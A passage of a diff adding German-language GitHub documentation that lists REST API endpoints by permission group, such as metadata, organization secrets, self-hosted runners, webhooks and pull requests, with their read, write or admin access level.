+- [`POST /orgs/{org}/teams`](/rest/reference/teams#create-a-team) (Schreiben)
+- [`GET /user/memberships/orgs/{org}`](/rest/reference/orgs#get-an-organization-membership-for-the-authenticated-user) (Lesen)
+- [`PATCH /user/memberships/orgs/{org}`](/rest/reference/orgs#update-an-organization-membership-for-the-authenticated-user) (Schreiben)
+
+## Metadaten
+
+- [`GET /user/codespaces/secrets/{secret_name}/repositories`](/rest/reference/codespaces#list-selected-repositories-for-a-user-secret) (Lesen)
+- [`PUT /user/codespaces/secrets/{secret_name}/repositories`](/rest/reference/codespaces#set-selected-repositories-for-a-user-secret) (Lesen)
+- [`PUT /user/codespaces/secrets/{secret_name}/repositories/{repository_id}`](/rest/reference/codespaces#add-a-selected-repository-to-a-user-secret) (Lesen)
+- [`DELETE /user/codespaces/secrets/{secret_name}/repositories/{repository_id}`](/rest/reference/codespaces#remove-a-selected-repository-from-a-user-secret) (Lesen)
+- [`GET /repos/{owner}/{repo}/events`](/rest/reference/activity#list-repository-events) (Lesen)
+- [`POST /gists/{gist_id}/comments`](/rest/reference/gists#create-a-gist-comment) (Lesen)
+- [`GET /gists/{gist_id}/comments/{comment_id}`](/rest/reference/gists#get-a-gist-comment) (Lesen)
+- [`PATCH /gists/{gist_id}/comments/{comment_id}`](/rest/reference/gists#update-a-gist-comment) (Lesen)
+- [`DELETE /gists/{gist_id}/comments/{comment_id}`](/rest/reference/gists#delete-a-gist-comment) (Lesen)
+- [`POST /gists`](/rest/reference/gists#create-a-gist) (Lesen)
+- [`PATCH /gists/{gist_id}`](/rest/reference/gists/#update-a-gist) (Lesen)
+- [`DELETE /gists/{gist_id}`](/rest/reference/gists#delete-a-gist) (Lesen)
+- [`POST /gists/{gist_id}/forks`](/rest/reference/gists#fork-a-gist) (Lesen)
+- [`PUT /gists/{gist_id}/star`](/rest/reference/gists#star-a-gist) (Lesen)
+- [`DELETE /gists/{gist_id}/star`](/rest/reference/gists#unstar-a-gist) (Lesen)
+- [`GET /notifications`](/rest/reference/activity#list-notifications-for-the-authenticated-user) (Lesen)
+- [`GET /orgs/{org}/teams/{team_slug}/repos/{owner}/{repo}`](/rest/reference/teams/#check-team-permissions-for-a-repository) (Lesen)
+- [`PUT /orgs/{org}/teams/{team_slug}/repos/{owner}/{repo}`](/rest/reference/teams/#add-or-update-team-repository-permissions) (Lesen)
+- [`DELETE /orgs/{org}/teams/{team_slug}/repos/{owner}/{repo}`](/rest/reference/teams/#remove-a-repository-from-a-team) (Lesen)
+- [`GET /repos/{owner}/{repo}/comments/{comment_id}/reactions`](/rest/reference/reactions#list-reactions-for-a-commit-comment) (Lesen)
+- [`GET /orgs/{org}/repos`](/rest/reference/repos#list-organization-repositories) (Lesen)
+- [`GET /repositories`](/rest/reference/repos#list-public-repositories) (Lesen)
+- [`GET /repos/{owner}/{repo}`](/rest/reference/repos#get-a-repository) (Lesen)
+- [`GET /repos/{owner}/{repo}/contributors`](/rest/reference/repos#list-repository-contributors) (Lesen)
+- [`GET /repos/{owner}/{repo}/forks`](/rest/reference/repos#list-forks) (Lesen)
+- [`GET /repos/{owner}/{repo}/languages`](/rest/reference/repos#list-repository-languages) (Lesen)
+- [`GET /repos/{owner}/{repo}/tags`](/rest/reference/repos#list-repository-tags) (Lesen)
+- [`GET /users/{username}/repos`](/rest/reference/repos#list-repositories-for-a-user) (Lesen)
+- [`GET /user/repos`](/rest/reference/repos#list-repositories-for-the-authenticated-user) (Lesen)
+- [`GET /repos/{owner}/{repo}/stargazers`](/rest/reference/activity#list-stargazers) (Lesen)
+- [`GET /repos/{owner}/{repo}/subscribers`](/rest/reference/activity#list-watchers) (Lesen)
+- [`GET /repos/{owner}/{repo}/collaborators`](/rest/collaborators/collaborators#list-repository-collaborators) (Lesen)
+- [`GET /repos/{owner}/{repo}/collaborators/{username}`](/rest/collaborators/collaborators#check-if-a-user-is-a-repository-collaborator) (Lesen)
+- [`GET /repos/{owner}/{repo}/collaborators/{username}/permission`](/rest/collaborators/collaborators#get-repository-permissions-for-a-user) (Lesen)
+- [`GET /repos/{owner}/{repo}/comments`](/rest/commits/comments#list-commit-comments-for-a-repository) (Lesen)
+- [`GET /repos/{owner}/{repo}/comments/{comment_id}`](/rest/commits/comments#get-a-commit-comment) (Lesen)
+- [`GET /repos/{owner}/{repo}/license`](/rest/reference/licenses/#get-the-license-for-a-repository) (Lesen)
+- [`GET /repos/{owner}/{repo}/stats/code_frequency`](/rest/metrics/statistics#get-the-weekly-commit-activity) (Lesen)
+- [`GET /repos/{owner}/{repo}/stats/commit_activity`](/rest/metrics/statistics#get-the-last-year-of-commit-activity) (Lesen)
+- [`GET /repos/{owner}/{repo}/stats/contributors`](/rest/metrics/statistics#get-all-contributor-commit-activity) (Lesen)
+- [`GET /repos/{owner}/{repo}/stats/participation`](/rest/metrics/statistics#get-the-weekly-commit-count) (Lesen)
+- [`GET /repos/{owner}/{repo}/stats/punch_card`](/rest/metrics/statistics#get-the-hourly-commit-count-for-each-day) (Lesen)
+- [`GET /search/labels`](/rest/reference/search#search-labels) (Lesen)
+- [`GET /repos/{owner}/{repo}/topics`](/rest/reference/repos#get-all-repository-topics) (Lesen)
+
+## Benachrichtigungen
+
+- [`GET /notifications`](/rest/reference/activity#list-notifications-for-the-authenticated-user) (Lesen)
+
+## Organisationsverwaltung
+
+{% ifversion ghec %}: [`GET /orgs/{org}/audit-log`](/rest/reference/orgs#get-audit-log) (Lesen){% endif %}
+- [`GET /orgs/{org}/settings/billing/actions`](/rest/reference/billing#get-github-actions-billing-for-an-organization) (Lesen)
+- [`GET /orgs/{org}/settings/billing/advanced-security`](/rest/reference/billing#get-github-advanced-security-active-committers-for-an-organization) (Lesen)
+- [`GET /orgs/{org}/settings/billing/packages`](/rest/reference/billing#get-github-packages-billing-for-an-organization) (Lesen)
+- [`GET /orgs/{org}/settings/billing/shared-storage`](/rest/reference/billing#get-shared-storage-billing-for-an-organization) (Lesen)
+- [`GET /enterprise-installation/{enterprise_or_org}/server-statistics`](/rest/reference/enterprise-admin#get-github-enterprise-server-statistics) (Lesen)
+- [`GET /orgs/{org}/interaction-limits`](/rest/reference/interactions#get-interaction-restrictions-for-an-organization) (Lesen)
+- [`PUT /orgs/{org}/interaction-limits`](/rest/reference/interactions#set-interaction-restrictions-for-an-organization) (Schreiben)
+- [`DELETE /orgs/{org}/interaction-limits`](/rest/reference/interactions#remove-interaction-restrictions-for-an-organization) (Schreiben)
+- [`GET /orgs/{org}/actions/cache/usage`](/rest/reference/actions#get-github-actions-cache-usage-for-an-organization) (Lesen)
+- [`GET /orgs/{org}/actions/cache/usage-by-repository`](/rest/reference/actions#list-repositories-with-github-actions-cache-usage-for-an-organization) (Lesen)
+- [`GET /orgs/{org}/actions/permissions`](/rest/reference/actions#get-github-actions-permissions-for-an-organization) (Lesen)
+- [`PUT /orgs/{org}/actions/permissions`](/rest/reference/actions#set-github-actions-permissions-for-an-organization) (Schreiben)
+- [`GET /orgs/{org}/actions/permissions/repositories`](/rest/reference/actions#list-selected-repositories-enabled-for-github-actions-in-an-organization) (Lesen)
+- [`PUT /orgs/{org}/actions/permissions/repositories`](/rest/reference/actions#set-selected-repositories-enabled-for-github-actions-in-an-organization) (Schreiben)
+- [`GET /orgs/{org}/actions/permissions/selected-actions`](/rest/reference/actions#get-allowed-actions-for-an-organization) (Lesen)
+- [`PUT /orgs/{org}/actions/permissions/selected-actions`](/rest/reference/actions#set-allowed-actions-for-an-organization) (Schreiben)
+- [`GET /orgs/{org}/actions/permissions/workflow`](/rest/reference/actions#get-default-workflow-permissions) (Lesen)
+- [`PUT /orgs/{org}/actions/permissions/workflow`](/rest/reference/actions#set-default-workflow-permissions) (Schreiben)
+- [`GET /orgs/{org}/security-managers`](/rest/reference/orgs#list-security-manager-teams) (Lesen)
+- [`PUT /orgs/{org}/security-managers/teams/{team_slug}`](/rest/reference/orgs#add-a-security-manager-team) (Schreiben)
+- [`DELETE /orgs/{org}/security-managers/teams/{team_slug}`](/rest/reference/orgs#remove-a-security-manager-team) (Schreiben)
+- [`PATCH /orgs/{org}`](/rest/reference/orgs/#update-an-organization) (Schreiben)
+- [`GET /orgs/{org}/installations`](/rest/reference/orgs#list-app-installations-for-an-organization) (Lesen)
+
+## Organisationscodespaces
+
+- [`GET /orgs/{org}/codespaces`](/rest/reference/codespaces#list-in-organization) (Lesen)
+
+## Geheimnisse für Organisationscodespaces
+
+- [`GET /orgs/{org}/codespaces/secrets`](/rest/reference/codespaces#list-organization-secrets) (Lesen)
+- [`GET /orgs/{org}/codespaces/secrets/{secret_name}`](/rest/reference/codespaces#get-an-organization-secret) (Lesen)
+- [`PUT /orgs/{org}/codespaces/secrets/{secret_name}`](/rest/reference/codespaces#create-or-update-an-organization-secret) (Schreiben)
+- [`DELETE /orgs/{org}/codespaces/secrets/{secret_name}`](/rest/reference/codespaces#delete-an-organization-secret) (Schreiben)
+- [`GET /orgs/{org}/codespaces/secrets/{secret_name}/repositories`](/rest/reference/codespaces#list-selected-repositories-for-an-organization-secret) (Lesen)
+- [`PUT /orgs/{org}/codespaces/secrets/{secret_name}/repositories`](/rest/reference/codespaces#set-selected-repositories-for-an-organization-secret) (Schreiben)
+- [`GET /orgs/{org}/codespaces/secrets/public-key`](/rest/reference/codespaces#get-an-organization-public-key) (Lesen)
+
+## Einstellungen für Organisationscodespaces
+
+- [`PUT /orgs/{org}/codespaces/billing`](/rest/reference/codespaces#set-codespaces-billing) (Schreiben)
+
+## Benutzerdefinierte Rollen für Organisationen
+
+- [`GET /organizations/{organization_id}/custom_roles`](/rest/reference/orgs#list-custom-repository-roles-in-an-organization) (Lesen)
+- [`PATCH /orgs/{org}/custom_roles/{role_id}`](/rest/reference/orgs#update-a-custom-role) (Schreiben)
+- [`DELETE /orgs/{org}/custom_roles/{role_id}`](/rest/reference/orgs#delete-a-custom-role) (Schreiben)
+- [`GET /orgs/{org}/fine_grained_permissions`](/rest/reference/orgs#list-fine-grained-permissions-for-an-organization) (Lesen)
+
+## Dependabot-Geheimnisse für Organisationen
+
+- [`GET /orgs/{org}/dependabot/secrets`](/rest/reference/dependabot#list-organization-secrets) (Lesen)
+- [`GET /orgs/{org}/dependabot/secrets/{secret_name}`](/rest/reference/dependabot#get-an-organization-secret) (Lesen)
+- [`PUT /orgs/{org}/dependabot/secrets/{secret_name}`](/rest/reference/dependabot#create-or-update-an-organization-secret) (Schreiben)
+- [`DELETE /orgs/{org}/dependabot/secrets/{secret_name}`](/rest/reference/dependabot#delete-an-organization-secret) (Schreiben)
+- [`GET /orgs/{org}/dependabot/secrets/{secret_name}/repositories`](/rest/reference/dependabot#list-selected-repositories-for-an-organization-secret) (Lesen)
+- [`PUT /orgs/{org}/dependabot/secrets/{secret_name}/repositories`](/rest/reference/dependabot#set-selected-repositories-for-an-organization-secret) (Schreiben)
+- [`GET /orgs/{org}/dependabot/secrets/public-key`](/rest/reference/dependabot#get-an-organization-public-key) (Lesen)
+
+## Organisationsereignisse
+
+- [`GET /users/{username}/events/orgs/{org}`](/rest/reference/activity#list-organization-events-for-the-authenticated-user) (Lesen)
+
+## Organisationshooks
+
+- [`GET /orgs/{org}/hooks`](/rest/reference/orgs#list-organization-webhooks) (Lesen)
+- [`POST /orgs/{org}/hooks`](/rest/reference/orgs#create-an-organization-webhook) (Schreiben)
+- [`GET /orgs/{org}/hooks/{hook_id}`](/rest/reference/orgs#get-an-organization-webhook) (Lesen)
+- [`PATCH /orgs/{org}/hooks/{hook_id}`](/rest/reference/orgs#update-an-organization-webhook) (Schreiben)
+- [`DELETE /orgs/{org}/hooks/{hook_id}`](/rest/reference/orgs#delete-an-organization-webhook) (Schreiben)
+- [`GET /orgs/{org}/hooks/{hook_id}/config`](/rest/reference/orgs#get-a-webhook-configuration-for-an-organization) (Lesen)
+- [`PATCH /orgs/{org}/hooks/{hook_id}/config`](/rest/reference/orgs#update-a-webhook-configuration-for-an-organization) (Schreiben)
+- [`GET /orgs/{org}/hooks/{hook_id}/deliveries`](/rest/reference/orgs#list-deliveries-for-an-organization-webhook) (Lesen)
+- [`GET /orgs/{org}/hooks/{hook_id}/deliveries/{delivery_id}`](/rest/reference/orgs#get-a-webhook-delivery-for-an-organization-webhook) (Lesen)
+- [`POST /orgs/{org}/hooks/{hook_id}/deliveries/{delivery_id}/attempts`](/rest/reference/orgs#redeliver-a-delivery-for-an-organization-webhook) (Schreiben)
+- [`POST /orgs/{org}/hooks/{hook_id}/pings`](/rest/reference/orgs#ping-an-organization-webhook) (Schreiben)
+
+## Organisationsprojekte
+
+- [`PUT /orgs/{org}/teams/{team_slug}/projects/{project_id}`](/rest/reference/teams#add-or-update-team-project-permissions) (Administrator)
+- [`DELETE /orgs/{org}/teams/{team_slug}/projects/{project_id}`](/rest/reference/teams#remove-a-project-from-a-team) (Administrator)
+- [`GET /orgs/{org}/projects`](/rest/reference/projects#list-organization-projects) (Lesen)
+- [`POST /orgs/{org}/projects`](/rest/reference/projects#create-an-organization-project) (Schreiben)
+
+## Organisationsgeheimnisse
+
+- [`GET /orgs/{org}/actions/secrets`](/rest/reference/actions#list-organization-secrets) (Lesen)
+- [`GET /orgs/{org}/actions/secrets/{secret_name}`](/rest/reference/actions#get-an-organization-secret) (Lesen)
+- [`PUT /orgs/{org}/actions/secrets/{secret_name}`](/rest/reference/actions#create-or-update-an-organization-secret) (Schreiben)
+- [`DELETE /orgs/{org}/actions/secrets/{secret_name}`](/rest/reference/actions#delete-an-organization-secret) (Schreiben)
+- [`GET /orgs/{org}/actions/secrets/{secret_name}/repositories`](/rest/reference/actions#list-selected-repositories-for-an-organization-secret) (Lesen)
+- [`PUT /orgs/{org}/actions/secrets/{secret_name}/repositories`](/rest/reference/actions#set-selected-repositories-for-an-organization-secret) (Schreiben)
+- [`GET /orgs/{org}/actions/secrets/public-key`](/rest/reference/actions#get-an-organization-public-key) (Lesen)
+
+## Selbstgehostete Runner für Organisationen
+
+- [`GET /orgs/{org}/actions/runner-groups`](/rest/reference/actions#list-self-hosted-runner-groups-for-an-organization) (Lesen)
+- [`POST /orgs/{org}/actions/runner-groups`](/rest/reference/actions#create-a-self-hosted-runner-group-for-an-organization) (Schreiben)
+- [`GET /orgs/{org}/actions/runner-groups/{runner_group_id}`](/rest/reference/actions#get-a-self-hosted-runner-group-for-an-organization) (Lesen)
+- [`PATCH /orgs/{org}/actions/runner-groups/{runner_group_id}`](/rest/reference/actions#update-a-self-hosted-runner-group-for-an-organization) (Schreiben)
+- [`DELETE /orgs/{org}/actions/runner-groups/{runner_group_id}`](/rest/reference/actions#delete-a-self-hosted-runner-group-from-an-organization) (Schreiben)
+- [`GET /orgs/{org}/actions/runner-groups/{runner_group_id}/repositories`](/rest/reference/actions#list-repository-access-to-a-self-hosted-runner-group-in-an-organization) (Lesen)
+- [`PUT /orgs/{org}/actions/runner-groups/{runner_group_id}/repositories`](/rest/reference/actions#set-repository-access-to-a-self-hosted-runner-group-in-an-organization) (Schreiben)
+- [`GET /orgs/{org}/actions/runner-groups/{runner_group_id}/runners`](/rest/reference/actions#list-self-hosted-runners-in-a-group-for-an-organization) (Lesen)
+- [`PUT /orgs/{org}/actions/runner-groups/{runner_group_id}/runners`](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization) (Schreiben)
+- [`PUT /orgs/{org}/actions/runner-groups/{runner_group_id}/runners/{runner_id}`](/rest/reference/actions#add-a-self-hosted-runner-to-a-group-for-an-organization) (Schreiben)
+- [`DELETE /orgs/{org}/actions/runner-groups/{runner_group_id}/runners/{runner_id}`](/rest/reference/actions#remove-a-self-hosted-runner-from-a-group-for-an-organization) (Schreiben)
+- [`GET /orgs/{org}/actions/runners`](/rest/reference/actions#list-self-hosted-runners-for-an-organization) (Lesen)
+- [`GET /orgs/{org}/actions/runners/{runner_id}`](/rest/reference/actions#get-a-self-hosted-runner-for-an-organization) (Lesen)
+- [`DELETE /orgs/{org}/actions/runners/{runner_id}`](/rest/reference/actions#delete-a-self-hosted-runner-from-an-organization) (Schreiben)
+- [`GET /orgs/{org}/actions/runners/{runner_id}/labels`](/rest/reference/actions#list-labels-for-a-self-hosted-runner-for-an-organization) (Lesen)
+- [`POST /orgs/{org}/actions/runners/{runner_id}/labels`](/rest/reference/actions#add-custom-labels-to-a-self-hosted-runner-for-an-organization) (Schreiben)
+- [`PUT /orgs/{org}/actions/runners/{runner_id}/labels`](/rest/reference/actions#set-custom-labels-for-a-self-hosted-runner-for-an-organization) (Schreiben)
+- [`DELETE /orgs/{org}/actions/runners/{runner_id}/labels`](/rest/reference/actions#remove-all-custom-labels-from-a-self-hosted-runner-for-an-organization) (Schreiben)
+- [`DELETE /orgs/{org}/actions/runners/{runner_id}/labels/{name}`](/rest/reference/actions#remove-a-custom-label-from-a-self-hosted-runner-for-an-organization) (Schreiben)
+- [`GET /orgs/{org}/actions/runners/downloads`](/rest/reference/actions#list-runner-applications-for-an-organization) (Lesen)
+- [`POST /orgs/{org}/actions/runners/registration-token`](/rest/reference/actions#create-a-registration-token-for-an-organization) (Schreiben)
+- [`POST /orgs/{org}/actions/runners/remove-token`](/rest/reference/actions#create-a-remove-token-for-an-organization) (Schreiben)
+
+## Blockieren von Organisationsbenutzern
+
+- [`GET /orgs/{org}/blocks`](/rest/reference/orgs#list-users-blocked-by-an-organization) (Lesen)
+- [`GET /orgs/{org}/blocks/{username}`](/rest/reference/orgs#check-if-a-user-is-blocked-by-an-organization) (Lesen)
+- [`PUT /orgs/{org}/blocks/{username}`](/rest/reference/orgs#block-a-user-from-an-organization) (Schreiben)
+- [`DELETE /orgs/{org}/blocks/{username}`](/rest/reference/orgs#unblock-a-user-from-an-organization) (Schreiben)
+
+## Seiten
+
+- [`GET /repos/{owner}/{repo}/pages`](/rest/pages#get-a-github-pages-site) (Lesen)
+- [`PUT /repos/{owner}/{repo}/pages`](/rest/pages#update-information-about-a-github-pages-site) (Schreiben)
+- [`GET /repos/{owner}/{repo}/pages/builds`](/rest/pages#list-github-pages-builds) (Lesen)
+- [`POST /repos/{owner}/{repo}/pages/builds`](/rest/pages#request-a-github-pages-build) (Schreiben)
+- [`GET /repos/{owner}/{repo}/pages/builds/{build_id}`](/rest/pages#get-github-pages-build) (Lesen)
+- [`GET /repos/{owner}/{repo}/pages/builds/latest`](/rest/pages#get-latest-pages-build) (Lesen)
+- [`POST /repos/{owner}/{repo}/pages/deployment`](/rest/pages#create-a-github-pages-deployment) (Schreiben)
+- [`GET /repos/{owner}/{repo}/pages/health`](/rest/pages#get-a-dns-health-check-for-github-pages) (Schreiben)
+
+## Plan
+
+- [`GET /users/{username}/settings/billing/actions`](/rest/reference/billing#get-github-actions-billing-for-a-user) (Lesen)
+- [`GET /users/{username}/settings/billing/packages`](/rest/reference/billing#get-github-packages-billing-for-a-user) (Lesen)
+- [`GET /users/{username}/settings/billing/shared-storage`](/rest/reference/billing#get-shared-storage-billing-for-a-user) (Lesen)
+
+## Profil
+
+- [`PATCH /user`](/rest/reference/users/#update-the-authenticated-user) (Schreiben)
+
+## Pull Requests
+
+- [`GET /repos/{owner}/{repo}/pulls/{pull_number}/comments`](/rest/reference/pulls#list-review-comments-on-a-pull-request) (Lesen)
+- [`POST /repos/{owner}/{repo}/pulls/{pull_number}/comments`](/rest/reference/pulls#create-a-review-comment-for-a-pull-request) (Schreiben)
+- [`GET /repos/{owner}/{repo}/pulls/comments`](/rest/reference/pulls#list-review-comments-in-a-repository) (Lesen)
+- [`GET /repos/{owner}/{repo}/pulls/comments/{comment_id}`](/rest/reference/pulls#get-a-review-comment-for-a-pull-request) (Lesen)
+- [`PATCH /repos/{owner}/{repo}/pulls/comments/{comment_id}`](/rest/reference/pulls#update-a-review-comment-for-a-pull-request) (Schreiben)
+- [`DELETE /repos/{owner}/{repo}/pulls/comments/{comment_id}`](/rest/reference/pulls#delete-a-review-comment-for-a-pull-request) (Schreiben)
+- [`PUT /repos/{owner}/{repo}/pulls/{pull_number}/reviews/{review_id}/dismissals`](/rest/reference/pulls#dismiss-a-review-for-a-pull-request) (Schreiben)
+- [`POST /repos/{owner}/{repo}/pulls/{pull_number}/reviews/{review_id}/events`](/rest/reference/pulls#submit-a-review-for-a-pull-request) (Schreiben)
+- [`GET /repos/{owner}/{repo}/pulls/{pull_number}/requested_reviewers`](/rest/reference/pulls#get-all-requested-reviewers-for-a-pull-request) (Lesen)
+- [`POST /repos/{owner}/{repo}/pulls/{pull_number}/requested_reviewers`](/rest/reference/pulls#request-reviewers-for-a-pull-request) (Schreiben)
+- [`DELETE /repos/{owner}/{repo}/pulls/{pull_number}/requested_reviewers`](/rest/reference/pulls#remove-requested-reviewers-from-a-pull-request) (Schreiben)
+- [`GET /repos/{owner}/{repo}/pulls/{pull_number}/reviews`](/rest/reference/pulls#list-reviews-for-a-pull-request) (Lesen)
+- [`POST /repos/{owner}/{repo}/pulls/{pull_number}/reviews`](/rest/reference/pulls#create-a-review-for-a-pull-request) (Schreiben)
+- [`GET /repos/{owner}/{repo}/pulls/{pull_number}/reviews/{review_id}`](/rest/reference/pulls#get-a-review-for-a-pull-request) (Lesen)
+- [`PUT /repos/{owner}/{repo}/pulls/{pull_number}/reviews/{review_id}`](/rest/reference/pulls#update-a-review-for-a-pull-request) (Schreiben)
+- [`DELETE /repos/{owner}/{repo}/pulls/{pull_number}/reviews/{review_id}`](/rest/reference/pulls#delete-a-pending-review-for-a-pull-request) (Schreiben)
+- [`GET /repos/{owner}/{repo}/pulls/{pull_number}/reviews/{review_id}/comments`](/rest/reference/pulls#list-comments-for-a-pull-request-review) (Lesen)
+- [`GET /repos/{owner}/{repo}/pulls`](/rest/reference/pulls#list-pull-requests) (Lesen)
+- [`POST /repos/{owner}/{repo}/pulls`](/rest/reference/pulls#create-a-pull-request) (Schreiben)
+- [`GET /repos/{owner}/{repo}/pulls/{pull_number}`](/rest/reference/pulls#get-a-pull-request) (Lesen)
+- [`PATCH /repos/{owner}/{repo}/pulls/{pull_number}`](/rest/reference/pulls/#update-a-pull-request) (Schreiben)
+- [`GET /repos/{owner}/{repo}/pulls/{pull_number}/commits`](/rest/reference/pulls#list-commits-on-a-pull-request) (Lesen)
+- [`GET /repos/{owner}/{repo}/pulls/{pull_number}/files`](/rest/reference/pulls#list-pull-requests-files) (Lesen)
+- [`GET /repos/{owner}/{repo}/pulls/{pull_number}/merge`](/rest/reference/pulls#check-if-a-pull-request-has-been-merged) (Lesen)
+- [`PUT /repos/{owner}/{repo}/pulls/{pull_number}/update-branch`](/rest/reference/pulls#update-a-pull-request-branch) (Schreiben)
+- [`GET /repos/{owner}/{repo}/pulls/comments/{comment_id}/reactions`](/rest/reference/reactions#list-reactions-for-a-pull-request-review-comment) (Lesen)
+- [`POST /repos/{owner}/{repo}/pulls/comments/{comment_id}/reactions`](/rest/reference/reactions#create-reaction-for-a-pull-request-review-comment) (Schreiben)
+- [`DELETE /repos/{owner}/{repo}/pulls/comments/{comment_id}/reactions/{reaction_id}`](/rest/reference/reactions#delete-a-pull-request-comment-reaction) (Schreiben)
+- [`GET /repos/{owner}/{repo}/dependency-graph/compare/{basehead}`](/rest/reference/dependency-graph#get-a-diff-of-the-dependencies-between-commits) (Lesen)
+
+## Repositoryhooks
+
+- [`GET /repos/{owner}/{repo}/hooks`](/rest/webhooks/repos#list-repository-webhooks) (Lesen)
+- [`POST /repos/{owner}/{repo}/hooks`](/rest/webhooks/repos#create-a-repository-webhook) (Schreiben)
+- [`GET /repos/{owner}/{repo}/hooks/{hook_id}`](/rest/webhooks/repos#get-a-repository-webhook) (Lesen)
+- [`PATCH /repos/{owner}/{repo}/hooks/{hook_id}`](/rest/webhooks/repos#update-a-repository-webhook) (Schreiben)
+- [`DELETE /repos/{owner}/{repo}/hooks/{hook_id}`](/rest/webhooks/repos#delete-a-repository-webhook) (Schreiben)
+- [`GET /repos/{owner}/{repo}/hooks/{hook_id}/config`](/rest/webhooks/repo-config#get-a-webhook-configuration-for-a-repository) (Lesen)
+- [`PATCH /repos/{owner}/{repo}/hooks/{hook_id}/config`](/rest/webhooks/repo-config#update-a-webhook-configuration-for-a-repository) (Schreiben)
+- [`GET /repos/{owner}/{repo}/hooks/{hook_id}/deliveries`](/rest/webhooks/repo-deliveries#list-deliveries-for-a-repository-webhook) (Lesen)
+- [`GET /repos/{owner}/{repo}/hooks/{hook_id}/deliveries/{delivery_id}`](/rest/webhooks/repo-deliveries#get-a-delivery-for-a-repository-webhook) (Lesen)
+- [`POST /repos/{owner}/{repo}/hooks/{hook_id}/deliveries/{delivery_id}/attempts`](/rest/webhooks/repo-deliveries#redeliver-a-delivery-for-a-repository-webhook) (Schreiben)
+- [`POST /repos/{owner}/{repo}/hooks/{hook_id}/pings`](/rest/webhooks/repos#ping-a-repository-webhook) (Lesen)
+- [`POST /repos/{owner}/{repo}/hooks/{hook_id}/tests`](/rest/webhooks/repos#test-the-push-repository-webhook) (Lesen)
+
+## Repositoryprojekte
+
+- [`GET /projects/{project_id}/collaborators`](/rest/reference/projects#list-project-collaborators) (Schreiben)
+- [`PUT /projects/{project_id}/collaborators/{username}`](/rest/reference/projects#add-project-collaborator) (Schreiben)
+- [`DELETE /projects/{project_id}/collaborators/{username}`](/rest/reference/projects#remove-project-collaborator) (Schreiben)
+- [`GET /projects/{project_id}/collaborators/{username}/permission`](/rest/reference/projects#get-project-permission-for-a-user) (Schreiben)
+- [`GET /projects/{project_id}`](/rest/reference/projects#get-a-project) (Lesen)
+- [`PATCH /projects/{project_id}`](/rest/reference/projects#update-a-project) (Schreiben)
+- [`DELETE /projects/{project_id}`](/rest/reference/projects#delete-a-project) (Schreiben)
+- [`GET /projects/{project_id}/columns`](/rest/reference/projects#list-project-columns) (Lesen)
+- [`POST /projects/{project_id}/columns`](/rest/reference/projects#create-a-project-column) (Schreiben)
+- [`GET /projects/columns/{column_id}`](/rest/reference/projects#get-a-project-column) (Lesen)
+- [`PATCH /projects/columns/{column_id}`](/rest/reference/projects#update-a-project-column) (Schreiben)
+- [`DELETE /projects/columns/{column_id}`](/rest/reference/projects#delete-a-project-column) (Schreiben)
+- [`GET /projects/columns/{column_id}/cards`](/rest/reference/projects#list-project-cards) (Lesen)
+- [`POST /projects/columns/{column_id}/cards`](/rest/reference/projects#create-a-project-card) (Schreiben)
+- [`POST /projects/columns/{column_id}/moves`](/rest/reference/projects#move-a-project-column) (Schreiben)
+- [`GET /projects/columns/cards/{card_id}`](/rest/reference/projects#get-a-project-card) (Lesen)
+- [`PATCH /projects/columns/cards/{card_id}`](/rest/reference/projects#update-a-project-card) (Schreiben)
+- [`DELETE /projects/columns/cards/{card_id}`](/rest/reference/projects#delete-a-project-card) (Schreiben)
+- [`POST /projects/columns/cards/{card_id}/moves`](/rest/reference/projects#move-a-project-card) (Schreiben)
+- [`GET /repos/{owner}/{repo}/projects`](/rest/reference/projects#list-repository-projects) (Lesen)
+- [`POST /repos/{owner}/{repo}/projects`](/rest/reference/projects#create-a-repository-project) (Schreiben)
+
+## Geheimnisscanwarnungen
+
+- [`GET /orgs/{org}/secret-scanning/alerts`](/rest/reference/secret-scanning#list-secret-scanning-alerts-for-an-organization) (Lesen)
+- [`GET /repos/{owner}/{repo}/secret-scanning/alerts`](/rest/reference/secret-scanning#list-secret-scanning-alerts-for-a-repository) (Lesen)
+- [`GET /repos/{owner}/{repo}/secret-scanning/alerts/{alert_number}`](/rest/reference/secret-scanning#get-a-secret-scanning-alert) (Lesen)
+- [`PATCH /repos/{owner}/{repo}/secret-scanning/alerts/{alert_number}`](/rest/reference/secret-scanning#update-a-secret-scanning-alert) (Schreiben)
+- [`GET /repos/{owner}/{repo}/secret-scanning/alerts/{alert_number}/locations`](/rest/reference/secret-scanning#list-locations-for-a-secret-scanning-alert) (Lesen)
+
+## Geheimnisse
+
+- [`GET /repos/{owner}/{repo}/actions/secrets`](/rest/reference/actions#list-repository-secrets) (Lesen)
+- [`GET /repos/{owner}/{repo}/actions/secrets/{secret_name}`](/rest/reference/actions#get-a-repository-secret) (Lesen)
+- [`PUT /repos/{owner}/{repo}/actions/secrets/{secret_name}`](/rest/reference/actions#create-or-update-a-repository-secret) (Schreiben)
+- [`DELETE /repos/{owner}/{repo}/actions/secrets/{secret_name}`](/rest/reference/actions#delete-a-repository-secret) (Schreiben)
+- [`GET /repos/{owner}/{repo}/actions/secrets/public-key`](/rest/reference/actions#get-a-repository-public-key) (Lesen)
+
+## Sicherheitsereignisse
+
+- [`GET /orgs/{org}/code-scanning/alerts`](/rest/reference/code-scanning#list-code-scanning-alerts-by-organization) (Lesen)
+- [`GET /repos/{owner}/{repo}/code-scanning/alerts`](/rest/reference/code-scanning#list-code-scanning-alerts-for-a-repository) (Lesen)
+- [`GET /repos/{owner}/{repo}/code-scanning/alerts/{alert_number}`](/rest/reference/code-scanning#get-a-code-scanning-alert) (Lesen)
+- [`PATCH /repos/{owner}/{repo}/code-scanning/alerts/{alert_number}`](/rest/reference/code-scanning#update-a-code-scanning-alert) (Schreiben)
+- [`GET /repos/{owner}/{repo}/code-scanning/alerts/{alert_number}/instances`](/rest/reference/code-scanning#list-instances-of-a-code-scanning-alert) (Lesen)
+- [`GET /repos/{owner}/{repo}/code-scanning/analyses`](/rest/reference/code-scanning#list-code-scanning-analyses-for-a-repository) (Lesen)
+- [`GET /repos/{owner}/{repo}/code-scanning/analyses/{analysis_id}`](/rest/reference/code-scanning#get-a-code-scanning-analysis-for-a-repository) (Lesen)
+- [`DELETE /repos/{owner}/{repo}/code-scanning/analyses/{analysis_id}`](/rest/reference/code-scanning#delete-a-code-scanning-analysis-from-a-repository) (Schreiben)
